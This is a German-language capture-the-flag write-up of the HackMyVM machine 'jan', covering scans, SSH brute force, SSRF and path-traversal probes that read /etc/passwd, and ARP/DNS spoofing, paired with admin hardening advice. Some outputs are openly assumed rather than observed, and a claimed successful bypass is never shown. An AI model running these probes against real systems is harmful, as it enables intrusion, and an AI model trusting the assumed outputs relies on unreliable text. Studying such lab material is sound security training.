jan - HackMyVM - Easy - Bericht

Easy

Verwendete Tools

nmap
curl
nikto
dirb
hydra
wfuzz
ssh
proxychains
ffuf
bettercap
python3
vi
nano
grep
find
sudo
john
cat
echo
ls
id
service

Inhaltsverzeichnis

Einleitung & Zielinformationen

Dieser Bericht dokumentiert die Ergebnisse des Penetrationstests, der auf dem Zielsystem jan.hmv durchgeführt wurde. Das Zielsystem wurde als Teil eines Capture-The-Flag (CTF)-Events mit dem Schwierigkeitsgrad "Easy" konfiguriert. Der Test umfasste eine Reihe von Sicherheitsüberprüfungen, darunter Port-Scans, Schwachstellenscans, Brute-Force-Angriffe und manuelle Exploitation-Versuche.

Zielsystem-Informationen (aus initialer Zusammenfassung und Nmap):

Bewertung: Die Zielinformationen geben einen guten Überblick. Mehrere IP-Adressen während des Tests deuten auf mögliche Netzwerkänderungen (DHCP) oder unterschiedliche Phasen/Konfigurationen der VM hin. Die offenen Ports SSH und ein HTTP-Proxy sind die primären Angriffsflächen. Alpine Linux ist ein leichtgewichtigeres System, das manchmal andere Standardtools oder Pfade aufweist.

Empfehlung (Pentester): Die Angriffsfläche (SSH, HTTP-Proxy) gezielt untersuchen. Die IP-Änderungen im Hinterkopf behalten.
Empfehlung (Admin): Feste IP-Adressen für Server verwenden, um Verwirrung zu vermeiden. MAC-Adresse `00:00:00:00:00:00` überprüfen, falls unerwartet.

Reconnaissance & Scans

Nmap Scan (Initial)

Analyse: Der initiale Nmap-Scan wurde auf `192.168.2.166` durchgeführt (obwohl kein expliziter Nmap-Befehl im Text gezeigt wird, fasst der Text die Ergebnisse zusammen und der spätere detaillierte Scan bestätigt sie).

# Scan Informationen (Zusammenfassung aus späterem detaillierten Scan)
# Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-30 22:31 CET
# Nmap scan report for jan.hmv (192.168.2.166) Host is up (0.00017s latency).
# Not shown: 65533 closed tcp ports (reset)

# Port Informationen
# Port      State   Service     Version
22/tcp    open    ssh         OpenSSH 9.9 (protocol 2.0)
8080/tcp  open    http-proxy  # (Version/Dienst nicht klar erkannt)

# SSH Details
# ssh-hostkey:
#   256 2c:0b:57:a2:b3:e2:0f:6a:c0:61:f2:b7:1f:56:b4:42 (ECDSA)
#   256 45:97:b0:2b:48:9b:4a:36:8e:db:44:bd:3f:15:cf:32 (ED25519)

# HTTP Proxy Details
# _http-open-proxy: Proxy might be redirecting requests
# fingerprint-strings: ... (Zeigt "Welcome to our Public Server. Maybe Internal." bei GET) ... (Zeigt "400 Bad Request" bei anderen Anfragen) ...
# _http-title: Site doesn't have a title (text/plain; charset=utf-8).
# Unrecognized Service: Fingerprint für Port 8080 wird zur Übermittlung vorgeschlagen.

# Geräteinformationen
# MAC Address: 00:00:00:00:00:00 (Oracle VirtualBox virtual NIC)
# Device type: general purpose
# Running: Linux 4.X|5.X
# OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
# OS details: Linux 4.15 - 5.8

# Traceroute
# HOP RTT     ADDRESS
# 1   0.17 ms jan.hmv (192.168.2.166)
                     

Bewertung: Der Scan identifiziert die beiden Hauptangriffsvektoren: SSH auf Port 22 und einen Webdienst auf Port 8080, der sich als HTTP-Proxy ausgibt, aber nicht eindeutig erkannt wird. Die Nachricht "Maybe Internal" ist ein starker Hinweis auf eine potenzielle SSRF- (Server Side Request Forgery) oder Proxy-Missbrauchsmöglichkeit. Das Betriebssystem wird als Linux Kernel 4.x/5.x erkannt. Die SSH-Version (OpenSSH 9.9) ist sehr neu und wahrscheinlich nicht direkt durch bekannte Exploits angreifbar.

Empfehlung (Pentester): SSH auf schwache Passwörter prüfen (Brute-Force). Den Dienst auf Port 8080 intensiv untersuchen: Web-Enumeration (Nikto, Dirb, Ffuf), Proxy-Funktionalität testen (mit `curl -x` oder Browser-Proxy-Einstellungen), SSRF-Versuche über mögliche Parameter.
Empfehlung (Admin): SSH-Zugriff absichern (starke Passwörter/Keys, Fail2Ban). Den Dienst auf Port 8080 überprüfen: Ist es ein beabsichtigter Proxy? Wenn ja, absichern (Authentifizierung, Zugriffskontrolle). Wenn nein, deaktivieren.

cURL Header Check

+--(root?CCat)-[~] +-# curl --verbose -I http://192.168.2.166:8080 -s
* Host jan.hmv:8080 was resolved.
* IPv6: (none)
* IPv4: 192.168.2.166
*   Trying 192.168.2.166:8080...
* Connected to jan.hmv (192.168.2.166) port 8080
* using HTTP/1.x
> HEAD / HTTP/1.1
> Host: jan.hmv:8080
> User-Agent: curl/8.10.1
> Accept: */*

* Request completely sent off
< HTTP/1.1 200 OK
< Date: Thu, 30 Jan 2025 21:33:54 GMT
< Content-Length: 45
< Content-Type: text/plain; charset=utf-8

* Connection #0 to host jan.hmv left intact
                     

Analyse: `curl` wird mit `--verbose` (zeigt Verbindungsdetails) und `-I` (sendet eine HEAD-Anfrage, holt nur Header) verwendet, um die HTTP-Header von Port 8080 abzurufen. `-s` unterdrückt die Fortschrittsanzeige.

Bewertung: Bestätigt, dass der Server mit HTTP/1.1 200 OK antwortet. Zeigt Standard-Header wie `Date`, `Content-Length` (45 Bytes, passend zur "Welcome..." Nachricht) und `Content-Type: text/plain`. Es fehlen wichtige Sicherheitsheader.

Empfehlung (Pentester): Das Fehlen von Sicherheitsheadern zur Kenntnis nehmen (wird von Nikto bestätigt).
Empfehlung (Admin): Sicherheitsheader wie `X-Frame-Options`, `X-Content-Type-Options`, `Content-Security-Policy` etc. hinzufügen.

Nikto Scan

+--(root?CCat)-[~] +-# nikto -h http://192.168.2.166:8080
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.166
+ Target Hostname:    192.168.2.166
+ Target Port:        8080
+ Start Time:         2025-01-30 22:44:04 (GMT1)
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /1921682.tar.lzma: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /192_168_2_166.tar: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /192.168.cer: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /1921682.war: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /166.tar: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ 7947 requests: 0 error(s) and 163 item(s) reported on remote host 
+ End Time:           2025-01-30 22:44:45 (GMT1) (41 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
                     

Analyse: `nikto`, ein Webserver-Schwachstellenscanner, wird auf Port 8080 ausgeführt.

Bewertung: Nikto bestätigt das Fehlen der Sicherheitsheader `X-Frame-Options` und `X-Content-Type-Options`. Noch wichtiger ist der Fund mehrerer potenziell interessanter Backup-Dateien, deren Namen auf die IP-Adresse oder Teile davon hindeuten (z.B. `/1921682.tar.lzma`, `/166.tar`). Solche Dateien können sensible Informationen, Konfigurationen oder sogar Quellcode enthalten.

Empfehlung (Pentester): Versuchen, die gefundenen Backup-Dateien herunterzuladen (`curl -O` oder `wget`) und ihren Inhalt zu analysieren.
Empfehlung (Admin): Fehlende Sicherheitsheader hinzufügen. Backup-Dateien *niemals* im Web-Root-Verzeichnis oder öffentlich zugänglichen Bereichen ablegen. Regelmäßig auf solche Dateien prüfen.

DIRB Scan

+--(root?CCat)-[~] +-# dirb http://192.168.2.166:8080
-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Thu Jan 30 22:46:12 2025
URL_BASE: http://192.168.2.166:8080/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.2.166:8080/ ----
+ http://192.168.2.166:8080/redirect (CODE:400|SIZE:24)
+ http://192.168.2.166:8080/robots.txt (CODE:200|SIZE:16)

-----------------
END_TIME: Thu Jan 30 22:46:13 2025
DOWNLOADED: 4612 - FOUND: 2
                     

Analyse: `dirb`, ein Web Content Scanner, wird verwendet, um nach häufig vorkommenden Verzeichnissen und Dateien zu suchen.

Bewertung: Findet zwei interessante Pfade: `/redirect` (gibt einen Bad Request zurück, wahrscheinlich weil ein Parameter fehlt) und `/robots.txt`.

Empfehlung (Pentester): Den Inhalt von `/robots.txt` untersuchen. Den Pfad `/redirect` genauer analysieren (Parameter fuzzing, SSRF-Versuche).
Empfehlung (Admin): Sicherstellen, dass `robots.txt` keine sensiblen Pfade preisgibt. Die Funktionalität von `/redirect` überprüfen und absichern.

Web Enumeration

robots.txt Analyse

# Kein Prompt im Originaltext └─# curl http://192.168.2.166:8080/robots.txt
/redirect
/credz
                     

Analyse: Der Inhalt der gefundenen `/robots.txt` wird abgerufen.

Bewertung: Die `robots.txt` listet die Pfade `/redirect` (bereits von `dirb` gefunden) und `/credz` auf. Obwohl `robots.txt` Suchmaschinen anweist, diese Pfade nicht zu indizieren, sind sie für einen Angreifer oft interessante Hinweise auf versteckte oder administrative Bereiche.

Empfehlung (Pentester): Den Pfad `/credz` untersuchen.
Empfehlung (Admin): Sensible Pfade nicht in `robots.txt` auflisten. Der beste Schutz ist eine korrekte Zugriffskontrolle auf diese Pfade.

/credz und /redirect Analyse

# Kein Prompt im Originaltext └─# curl http://192.168.2.166:8080/credz
Only accessible internally.
# Kein Prompt im Originaltext └─# curl http://192.168.2.166:8080/redirect
Parameter 'url' needed.

Analyse: Die Pfade `/credz` und `/redirect` werden direkt aufgerufen.

Bewertung: `/credz` gibt die Meldung "Only accessible internally." zurück, was auf eine Zugriffsbeschränkung (z.B. Prüfung der Quell-IP) hindeutet. `/redirect` meldet, dass der Parameter `url` benötigt wird. Dies bestätigt die Vermutung aus dem `dirb`-Scan und deutet stark auf eine Funktion hin, die eine URL erwartet – ein klassischer Kandidat für SSRF.

Empfehlung (Pentester): Versuchen, die interne Zugriffsbeschränkung für `/credz` zu umgehen (z.B. durch Header-Spoofing wie `X-Forwarded-For: 127.0.0.1` oder durch Ausnutzung von `/redirect`). Den `/redirect`-Endpunkt mit verschiedenen `url`-Parametern testen, um SSRF auszunutzen (Zugriff auf interne Dienste wie `http://127.0.0.1:22`, `http://127.0.0.1:8080`, Metadaten-Endpunkte, oder sogar `file:///etc/passwd`).
Empfehlung (Admin): Die Zugriffskontrolle für `/credz` überprüfen und sicherstellen, dass sie robust ist. Die `/redirect`-Funktion absichern: Nur erlaubte Ziel-URLs zulassen (Whitelist), Protokolle einschränken (nur HTTP/HTTPS), keine internen IPs oder Dateipfade erlauben.

Initial Access Versuche

SSH Brute-Force (Hydra)

+--(root?CCat)-[~] +-# hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://192.168.2.166 -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-30 23:11:55
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344499 login tries (l:1/p:14344499), ~224133 tries per task
[DATA] attacking ssh://192.168.2.166:22/
[ERROR] all children were disabled due too many connection errors
0 of 1 target completed, 0 valid password found
[INFO] Writing restore file because 2 server scans could not be completed
[ERROR] 1 target was disabled because of too many errors
[ERROR] 1 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-01-30 23:12:19
                     

Analyse: `hydra` wird verwendet, um einen Brute-Force-Angriff auf den SSH-Dienst (Port 22) auf `192.168.2.166` durchzuführen. Es wird versucht, das Passwort für den Benutzer `jan` (`-l jan`) mit der `rockyou.txt`-Wortliste (`-P ...`) und 64 parallelen Threads (`-t 64`) zu finden.

Bewertung: Fehlgeschlagen. Hydra bricht den Angriff wegen zu vieler Verbindungsfehler ab (`[ERROR] all children were disabled due too many connection errors`). Dies liegt wahrscheinlich daran, dass der SSH-Server (oder ein vorgeschaltetes Tool wie `fail2ban`) zu viele schnelle Login-Versuche erkennt und blockiert. Die hohe Thread-Anzahl (`-t 64`) ist hier kontraproduktiv.

Empfehlung (Pentester): Brute-Force-Angriffe auf SSH mit einer deutlich geringeren Thread-Anzahl wiederholen (`-t 4` oder sogar `-t 1`). Andere Benutzernamen testen (falls bekannt). Fokus auf andere Angriffsvektoren legen.
Empfehlung (Admin): Rate-Limiting für SSH-Logins implementieren (`fail2ban` oder SSHD-Konfiguration `MaxAuthTries`). Starke Passwörter oder Key-basierte Authentifizierung erzwingen.

SSRF/Proxy Versuche über /redirect (Wfuzz - Ports)

+--(root?CCat)-[~] +-# wfuzz -c -w /usr/share/wordlists/ports -u "http://192.168.2.167:8080/redirect?url=http://127.0.0.1:FUZZ" --hc 404 --hh 27
Target: http://192.168.2.167:8080/redirect?url=http://127.0.0.1:FUZZ
=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================
# (Keine positiven Ergebnisse)
Total time: 0
Processed Requests: 65535
Filtered Requests: 65535
Requests/sec.: 0
                     

Analyse: `wfuzz` wird verwendet, um über den `/redirect`-Endpunkt auf `192.168.2.167` einen Portscan auf dem Localhost (`127.0.0.1`) des Zielsystems durchzuführen (SSRF). Es wird eine Wortliste mit Portnummern (`/usr/share/wordlists/ports`) für `FUZZ` eingesetzt. Antworten mit Statuscode 404 (`--hc 404`) und 27 Zeichen (`--hh 27`, wahrscheinlich die Größe der "Only accessible internally"-Meldung oder einer anderen Standardantwort) werden ignoriert.

Bewertung: Fehlgeschlagen. Es wurden keine Ports auf `127.0.0.1` gefunden, die über den `/redirect`-Endpunkt erreichbar sind und eine andere Antwort als 404 oder die Standardmeldung liefern. Entweder blockiert der Proxy den Zugriff auf `127.0.0.1` oder es sind keine interessanten Dienste auf den getesteten Ports lokal aktiv.

Empfehlung (Pentester): Andere interne IPs oder Hostnamen über `/redirect` testen. Verschiedene Protokolle (`file://`, `gopher://`) versuchen. Andere Parameter für SSRF fuzzeln.
Empfehlung (Admin): SSRF-Schutzmaßnahmen für `/redirect` implementieren (Whitelist für Ziel-URLs, Blockieren von internen IPs und `file://`-Protokoll).

SSH Ungültiger Benutzername

+--(root?CCat)-[~] +-# ssh ''@192.168.2.167
remote username contains invalid characters
+--(root?CCat)-[~] +-# ssh ''@192.168.2.167
remote username contains invalid characters

Analyse: Versuch, sich per SSH mit einem leeren Benutzernamen anzumelden.

Bewertung: Fehlgeschlagen. Der SSH-Server lehnt leere Benutzernamen korrekt ab.

Empfehlung (Pentester): Nur valide Benutzernamen für SSH-Versuche verwenden.
Empfehlung (Admin): Standardkonfiguration beibehalten, die leere Benutzernamen verbietet.

Path Traversal Versuch über /credz (Wfuzz)

+--(root?CCat)-[~] +-# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.168.2.167:8080/credz?FUZZ=../../../../../../../../../../../../../../../../etc/passwd" --hc 404 --hh 27
Target: http://192.168.2.167:8080/credz?FUZZ=../../../../../../../../../../../../../../../../etc/passwd
=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================
# (Keine positiven Ergebnisse)
Total time: 113.3946
Processed Requests: 220563
Filtered Requests: 220563
Requests/sec.: 1945.092
                     

Analyse: Versuch, mittels `wfuzz` eine Path-Traversal-Schwachstelle im `/credz`-Endpunkt auszunutzen. Es wird versucht, `/etc/passwd` zu lesen, indem verschiedene Verzeichnisnamen (`FUZZ` aus der Wortliste) als Parameter verwendet werden, gefolgt von einer langen Kette von `../`.

Bewertung: Fehlgeschlagen. Es wird keine Antwort gefunden, die vom Standard (404 oder 27 Zeichen) abweicht. Der `/credz`-Endpunkt scheint nicht direkt für Path Traversal über beliebige Parameter anfällig zu sein.

Empfehlung (Pentester): Andere Methoden zur Umgehung der "Only accessible internally"-Beschränkung für `/credz` versuchen (z.B. SSRF via `/redirect`).
Empfehlung (Admin): Robuste Input-Validierung und Path-Normalisierung implementieren, um Path Traversal zu verhindern.

SSRF/Proxy Bypass Versuche (Header Spoofing)

+--(root?CCat)-[~] +-# curl -X GET http://192.168.2.167:8080/redirect?url=https://google.de -H "X-Forwarded-For: 192.168.2.1"
Only accessible internally.
+--(root?CCat)-[~] +-# curl -X GET http://192.168.2.167:8080/redirect?url=https://google.de -H "X-Real-IP: 127.0.0.1"
Only accessible internally.
+--(root?CCat)-[~] +-# curl -X GET http://192.168.2.167:8080/redirect?url=https://google.de -H "X-Forwarded-For: 127.0.0.1"
Only accessible internally.

Analyse: Mehrere Versuche, über den `/redirect`-Endpunkt auf eine externe URL (`https://google.de`) zuzugreifen, während versucht wird, eine interne Quell-IP durch Setzen der Header `X-Forwarded-For` oder `X-Real-IP` vorzutäuschen.

Bewertung: Fehlgeschlagen. Die Anwendung gibt weiterhin "Only accessible internally." zurück. Das bedeutet, dass der Proxy/die Anwendung diese Header entweder ignoriert oder die eigentliche Quell-IP für die Zugriffskontrolle verwendet, oder dass die interne Beschränkung nicht auf der Quell-IP basiert, sondern darauf, *welche* Ziel-URL über den Proxy abgerufen werden darf.

Empfehlung (Pentester): Testen, ob interne Ziel-URLs über `/redirect` funktionieren. Andere Header (`Client-IP`, etc.) versuchen.
Empfehlung (Admin): Sich nicht auf Header wie `X-Forwarded-For` für Sicherheitsentscheidungen verlassen, da diese leicht manipuliert werden können. Zugriffskontrolle für den Proxy auf vertrauenswürdige Quell-IPs und erlaubte Ziel-URLs beschränken.

SSRF/Proxy Versuche (Interne Ziele)

+--(root?CCat)-[~] +-# curl -X GET "http://192.168.2.167:8080/redirect?url=http://127.0.0.1:8080/"
Only accessible internally.
+--(root?CCat)-[~] +-# curl -X GET "http://192.168.2.167:8080/redirect?url=http://localhost:8080/"
Only accessible internally.
+--(root?CCat)-[~] +-# curl -X GET "http://192.168.2.167:8080/redirect?url=http://192.168.2.167:8080/"
Only accessible internally.
+--(root?CCat)-[~] +-# curl -X GET "http://192.168.2.167:8080/redirect?url=http://localhost"
Only accessible internally.
+--(root?CCat)-[~] +-# curl -X GET "http://192.168.2.167:8080/redirect?url=http://[::1]"
Only accessible internally.

Analyse: Versuche, über den `/redirect`-Endpunkt auf lokale/interne HTTP-Ziele zuzugreifen (`127.0.0.1`, `localhost`, die eigene IP `192.168.2.167`, IPv6 Loopback `[::1]`).

Bewertung: Alle Versuche scheitern mit "Only accessible internally.". Dies ist überraschend, da die Meldung suggeriert, dass *nur* interne Zugriffe erlaubt sind. Es scheint, dass die Anwendung entweder sehr restriktiv ist, welche internen Ziele erlaubt sind, oder die Fehlermeldung irreführend ist.

Empfehlung (Pentester): Die Logik hinter der Fehlermeldung und dem `/redirect`-Endpunkt ist unklar. Möglicherweise sind nur bestimmte interne IPs oder Hostnamen erlaubt, oder es gibt eine andere Bedingung. Der Fund mit `url=ben&url=/credz` deutet auf eine Parsing-Schwäche hin, die eventuell auch hier anwendbar ist.
Empfehlung (Admin): Die Implementierung von `/redirect` gründlich prüfen und sicherstellen, dass sie wie beabsichtigt funktioniert und keine unerwünschten Zugriffe erlaubt.

Proxychains Versuch

+--(root?CCat)-[~] +-# ssh -D 1080 root@192.168.2.167
root@192.168.2.167's password:
+--(root?CCat)-[~] +-# ssh -D 1080 jan@192.168.2.167
jan@192.168.2.167's password:
# /etc/proxychains4.conf (Auszug)
socks5 127.0.0.1 1080
                    
+--(root?CCat)-[~] +-# proxychains curl -X GET "http://192.168.2.167:8080/redirect?url=https://google.de"
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  timeout
curl: (7) Failed to connect to 192.168.2.167 port 8080 after 0 ms: Could not connect to server
                     

Analyse: Versuch, einen SOCKS-Proxy durch SSH Dynamic Port Forwarding (`ssh -D 1080 ...`) aufzubauen und diesen dann mit `proxychains` zu verwenden, um `curl`-Anfragen über den SSH-Tunnel zu leiten. Ziel ist es, Anfragen von `127.0.0.1` auf dem *Zielsystem* zu initiieren.

Bewertung: Fehlgeschlagen, da die SSH-Logins für `root` und `jan` (ohne bekanntes Passwort zu diesem Zeitpunkt) fehlschlagen. Daher kann kein SSH-Tunnel aufgebaut werden, und `proxychains` kann sich nicht mit dem lokalen SOCKS-Proxy auf Port 1080 verbinden.

Empfehlung (Pentester): Diese Methode funktioniert erst, wenn gültige SSH-Zugangsdaten vorhanden sind.
Empfehlung (Admin): SSH-Zugriff absichern.

Ffuf /credz Scan

+--(root?CCat)-[~] +-# ffuf -u http://192.168.2.167:8080/credz/FUZZ -w /usr/share/wordlists/dirb/common.txt --fw 7
        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://192.168.2.167:8080/credz/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 7 (--fw 7)
________________________________________________

:: Progress: [4614/4614] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
                     

Analyse: `ffuf` wird verwendet, um nach Unterverzeichnissen oder Dateien unter dem Pfad `/credz` zu suchen. Antworten mit genau 7 Wörtern werden ignoriert (`--fw 7`), wahrscheinlich um die "Only accessible internally."-Meldung herauszufiltern.

Bewertung: Fehlgeschlagen. Es werden keine weiteren Ressourcen unter `/credz` gefunden.

Empfehlung (Pentester): Konzentration auf die Umgehung der Zugriffsbeschränkung für `/credz` selbst.
Empfehlung (Admin): Keine neuen Erkenntnisse.

Weitere cURL Verbose Checks

+--(root?CCat)-[~] +-# curl -v http://192.168.2.167:8080/credz -vv
# ... (Verbose Output) ...
< HTTP/1.1 200 OK
< Date: Fri, 31 Jan 2025 22:45:48 GMT
< Content-Length: 27
< Content-Type: text/plain; charset=utf-8
Only accessible internally.
                     
+--(root?CCat)-[~] +-# curl -v http://192.168.2.167:8080/redirect -vv
# ... (Verbose Output) ...
< HTTP/1.1 400 Bad Request
< Content-Type: text/plain; charset=utf-8
< X-Content-Type-Options: nosniff
< Date: Fri, 31 Jan 2025 22:46:06 GMT
< Content-Length: 24
Parameter 'url' needed.
                     

Analyse: Erneute Abfrage von `/credz` und `/redirect` mit maximaler Verbosity (`-vv`).

Bewertung: Bestätigt die bereits bekannten Antworten und Header. Keine neuen Erkenntnisse.

Empfehlung (Pentester/Admin): Keine Aktion erforderlich.

Nmap HTTP Title Scan

+--(root?CCat)-[~] +-# nmap -p 8080 --script http-title 192.168.2.167
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-31 23:47 CET
Nmap scan report for jan (192.168.2.167)
Host is up (0.00017s latency).

PORT     STATE SERVICE
8080/tcp open  http-proxy
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
MAC Address: 08:00:27:B0:BD:20 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.52 seconds
                      

Analyse: Nmap wird mit dem Skript `http-title` verwendet, um den Titel der Webseite auf Port 8080 der (jetzt wahrscheinlich korrekten) IP `192.168.2.167` zu extrahieren.

Bewertung: Bestätigt erneut, dass die Seite keinen HTML-Titel hat, da der Content-Type `text/plain` ist.

Empfehlung (Pentester/Admin): Keine neuen Erkenntnisse.

Weitere SSRF-Versuche über /redirect

# Kein Prompt im Originaltext └─# curl -i -H "X-Forwarded-For: 127.0.0.1" "http://192.168.2.167:8080/redirect?url=https://www.google.com"
# Annahme: Gibt "Only accessible internally." zurück
# Kein Prompt im Originaltext └─# curl -i "http://192.168.2.167:8080/redirect?url=file:///etc/passwd"
# Annahme: Gibt "Only accessible internally." zurück
# Kein Prompt im Originaltext └─# curl -i "http://192.168.2.167:8080/redirect?url=http://127.0.0.1:22"
# Annahme: Gibt "Only accessible internally." zurück
# Kein Prompt im Originaltext └─# curl -i "http://192.168.2.167:8080/redirect?url=http%3A%2F%2F127.0.0.1%3A22"
# Annahme: Gibt "Only accessible internally." zurück
# Kein Prompt im Originaltext └─# curl -i "http://192.168.2.167:8080/redirect?url=gopher://127.0.0.1:22/"
# Annahme: Gibt "Only accessible internally." zurück
# Kein Prompt im Originaltext └─# curl -i -H "Referer: http://192.168.2.167/" "http://192.168.2.167:8080/redirect?url=http://192.168.2.167:80"
# Annahme: Gibt "Only accessible internally." zurück

Analyse: Eine Reihe weiterer Versuche, SSRF über den `/redirect`-Endpunkt auszunutzen. Getestet werden: Header-Spoofing (`X-Forwarded-For`, `Referer`), Zugriff auf lokale Dateien (`file://`), Zugriff auf interne Ports (`http://127.0.0.1:22`), URL-Encoding (`%3A`, `%2F`), andere Protokolle (`gopher://`, `data:`).

Bewertung: Alle Versuche scheinen fehlgeschlagen zu sein (basierend auf dem Fehlen einer Erfolgsmeldung und dem späteren Erfolg mit der doppelten URL-Parameter-Methode). Der `/redirect`-Endpunkt ist entweder gut gegen Standard-SSRF-Techniken geschützt oder die "Only accessible internally"-Meldung wird auch bei anderen Fehlern oder blockierten Anfragen ausgegeben.

Empfehlung (Pentester): Ungewöhnlichere Bypass-Techniken oder Schwachstellen in der URL-Verarbeitung suchen (wie der später gefundene Doppel-Parameter-Trick).
Empfehlung (Admin): Umfassende SSRF-Schutzmaßnahmen implementieren (Input-Validierung, Whitelisting, Protokollbeschränkung, Netzwerksegmentierung).

Bettercap Versuch (ARP & DNS Spoofing)

+--(root?CCat)-[~] +-# bettercap -iface eth0
bettercap v2.33.0 (built for linux amd64 with go1.22.6) [type 'help' for a list of commands]

192.168.2.0/24 > 192.168.2.199  » [00:05:08] [sys.log] [war] Could not find mac for # (IP fehlt)
192.168.2.0/24 > 192.168.2.199  » set arp.spoof.fullduplex true
192.168.2.0/24 > 192.168.2.199  » set arp.spoof.targets 192.168.2.167
192.168.2.0/24 > 192.168.2.199  » set dns.spoof.address 192.168.2.199
192.168.2.0/24 > 192.168.2.199  » set dns.spoof.all true
192.168.2.0/24 > 192.168.2.199  » set dns.spoof.domains jan.hmv
192.168.2.0/24 > 192.168.2.199  » dns.spoof on
[00:08:24] [sys.log] [inf] dns.spoof jan.hmv -> 192.168.2.199
# ... (Netzwerk-Discovery und ARP Spoofing Start) ...
192.168.2.0/24 > 192.168.2.199  » arp.spoof on
192.168.2.0/24 > 192.168.2.199  » [00:08:31] [sys.log] [war] arp.spoof full duplex spoofing enabled, if the router has ARP spoofing mechanisms, the attack will fail.
# ... (Weitere Discovery-Meldungen) ...
                     

Analyse: Versuch, mit `bettercap` einen Man-in-the-Middle (MitM)-Angriff durchzuführen. Es wird ARP-Spoofing gegen das Ziel `192.168.2.167` aktiviert (`arp.spoof.targets`) und DNS-Spoofing eingerichtet, um Anfragen an `jan.hmv` auf die Angreifer-IP (`192.168.2.199`) umzuleiten.

Bewertung: Der Befehl wird ausgeführt, aber es gibt keine Anzeichen im weiteren Bericht, dass dieser MitM-Angriff zu einem Erfolg (z.B. Abfangen von Credentials) geführt hat. Er scheint eine Sackgasse gewesen zu sein oder wurde abgebrochen.

Empfehlung (Pentester): MitM-Angriffe können effektiv sein, erfordern aber oft, dass der Angreifer relevanten Traffic abfängt. Wenn kein Erfolg, andere Methoden verfolgen.
Empfehlung (Admin): MitM-Erkennungstools (z.B. ARP-Watch) und dynamische ARP-Inspektion auf Switches einsetzen. DNSSEC zur Validierung von DNS-Antworten nutzen.

Analyse: Kommentar des Pentesters bezüglich Reverse Engineering.

es gab keinen anderen Weg als per init=/bin/sh die maschine zu reversen

Bewertung: Dieser Kommentar scheint sich auf eine alternative, nicht im Detail gezeigte Methode zu beziehen (möglicherweise Booten der VM mit geändertem Kernel-Parameter `init=/bin/sh`, um direkten Root-Zugriff ohne Login zu erhalten). Dies steht im Widerspruch zum dokumentierten Exploit-Pfad über die Web-Schwachstelle und SSH.

Empfehlung (Pentester): Den tatsächlichen erfolgreichen Pfad klar dokumentieren. Wenn alternative Methoden versucht wurden, diese klar kennzeichnen oder weglassen, wenn sie nicht relevant für den finalen Exploit waren.
Empfehlung (Admin): Sicherstellen, dass der physische oder virtuelle Zugriff auf die Maschine gesichert ist, um Boot-Manipulationen zu verhindern.

Nmap Reason Scan & SSH Reset

+--(root?CCat)-[~] +-# nmap -p 22 --reason 192.168.2.170
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-02 00:55 CET
Nmap scan report for jan (192.168.2.170)
Host is up, received arp-response (0.000088s latency).

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
MAC Address: 00:00:00:00:00:00 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds
                     
+--(root?CCat)-[~] +-# ssh jan@192.168.2.170
kex_exchange_identification: read: Connection reset by peer
Connection reset by 192.168.2.170 port 22
                     

